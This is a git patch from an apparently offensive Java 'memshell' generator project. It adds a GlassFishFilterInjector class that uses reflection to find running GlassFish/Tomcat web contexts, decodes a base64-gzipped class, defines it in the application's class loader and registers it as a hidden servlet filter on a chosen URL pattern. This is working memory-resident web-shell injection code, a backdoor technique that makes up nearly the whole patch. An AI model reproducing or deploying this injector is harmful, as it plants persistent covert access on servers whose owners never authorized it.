From bb4bcb956ccbc1ecb8605d58afe49fa3cde68601 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Sat, 28 Jun 2025 11:48:23 +0800 Subject: [PATCH] fix: /osgi context not webContext --- .../memshell/server/GlassFishShell.java | 6 +- .../glassfish/GlassFishFilterInjector.java | 217 ++++++++++++++++++ 2 files changed, 220 insertions(+), 3 deletions(-) create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/GlassFishShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/GlassFishShell.java index 1bcec16a..ddaea629 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/GlassFishShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/GlassFishShell.java @@ -2,8 +2,8 @@ package com.reajason.javaweb.memshell.server; import com.reajason.javaweb.memshell.injector.glassfish.GlassFishContextValveAgentInjector; import com.reajason.javaweb.memshell.injector.glassfish.GlassFishFilterChainAgentInjector; +import com.reajason.javaweb.memshell.injector.glassfish.GlassFishFilterInjector; import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector; -import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterInjector; import com.reajason.javaweb.memshell.injector.tomcat.TomcatListenerInjector; import com.reajason.javaweb.memshell.utils.ShellCommonUtil; import net.bytebuddy.asm.Advice; @@ -43,8 +43,8 @@ public class GlassFishShell extends AbstractShell { return InjectorMapping.builder() .addInjector(LISTENER, TomcatListenerInjector.class) .addInjector(JAKARTA_LISTENER, TomcatListenerInjector.class) - .addInjector(FILTER, TomcatFilterInjector.class) - .addInjector(JAKARTA_FILTER, TomcatFilterInjector.class) + .addInjector(FILTER, GlassFishFilterInjector.class) + .addInjector(JAKARTA_FILTER, GlassFishFilterInjector.class) .addInjector(VALVE, GlassFishValveInjector.class) .addInjector(JAKARTA_VALVE, GlassFishValveInjector.class) .addInjector(AGENT_FILTER_CHAIN, GlassFishFilterChainAgentInjector.class) diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java new file mode 100644 index 00000000..22b4a576 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java @@ -0,0 +1,217 @@ +package com.reajason.javaweb.memshell.injector.glassfish; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.List; +import java.util.Map; +import java.util.Set; +import java.util.zip.GZIPInputStream; + +/** + * Date: 2022/11/01 + * Author: pen4uin + * Description: Tomcat Filter 注入器 Tested version: jdk v1.8.0_275 + * tomcat v5.5.36, v6.0.9, v7.0.32, v8.5.83, v9.0.67 + * + * @author ReaJason + */ +public class GlassFishFilterInjector { + + static { + new GlassFishFilterInjector(); + } + + public String getUrlPattern() { + return "{{urlPattern}}"; + } + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() { + return "{{base64Str}}"; + } + + public GlassFishFilterInjector() { + try { + List contexts = getContext(); + for (Object context : contexts) { + // skip glassfish /osgi context + if (getFieldValue(context, "serverContext") != null) { + Object shell = getShell(context); + inject(context, shell); + } + } + } catch (Exception e) { + e.printStackTrace(); + } + } + + /** + * com.sun.enterprise.web.WebModule + * /xxx/modules/web-glue.jar + */ + public List getContext() throws Exception { + List contexts = new ArrayList(); + Set threads = Thread.getAllStackTraces().keySet(); + for (Thread thread : threads) { + if (thread.getName().contains("ContainerBackgroundProcessor")) { + Map childrenMap = (Map) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); + for (Object value : childrenMap.values()) { + Map children = (Map) getFieldValue(value, "children"); + contexts.addAll(children.values()); + } + } + } + return contexts; + } + + private ClassLoader getWebAppClassLoader(Object context) throws Exception { + try { + return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); + } catch (Exception e) { + Object loader = invokeMethod(context, "getLoader", null, null); + return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null)); + } + } + + @SuppressWarnings("all") + private Object getShell(Object context) throws Exception { + ClassLoader webAppClassLoader = getWebAppClassLoader(context); + try { + return webAppClassLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length); + return clazz.newInstance(); + } + } + + @SuppressWarnings("all") + public void inject(Object context, Object shell) throws Exception { + if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) { + System.out.println("filter already injected"); + return; + } + Object filterDef; + Object filterMap; + ClassLoader contextClassLoader = context.getClass().getClassLoader(); + try { + // tomcat v8+ + filterDef = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance(); + filterMap = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance(); + } catch (Exception e2) { + // tomcat v5+ + filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance(); + filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance(); + } + + invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()}); + try { + invokeMethod(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{getClassName()}); + } catch (Exception e) { + invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{shell.getClass()}); + } + invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef}); + invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()}); + Constructor[] constructors; + try { + invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); + } catch (Exception e) { + // tomcat v5 + invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); + } + try { + // v7.0.0 以上 + invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); + } catch (Exception e) { + invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); + } + + Constructor filterConfigConstructor; + filterConfigConstructor = contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors()[0]; + filterConfigConstructor.setAccessible(true); + Object filterConfig = filterConfigConstructor.newInstance(context, filterDef); + Map filterConfigs = (Map) getFieldValue(context, "filterConfigs"); + filterConfigs.put(getClassName(), filterConfig); + System.out.println("filter inject success"); + } + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } finally { + if (gzipInputStream != null) { + gzipInputStream.close(); + } + out.close(); + } + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws Exception { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + Field field = clazz.getDeclaredField(name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(); + } +}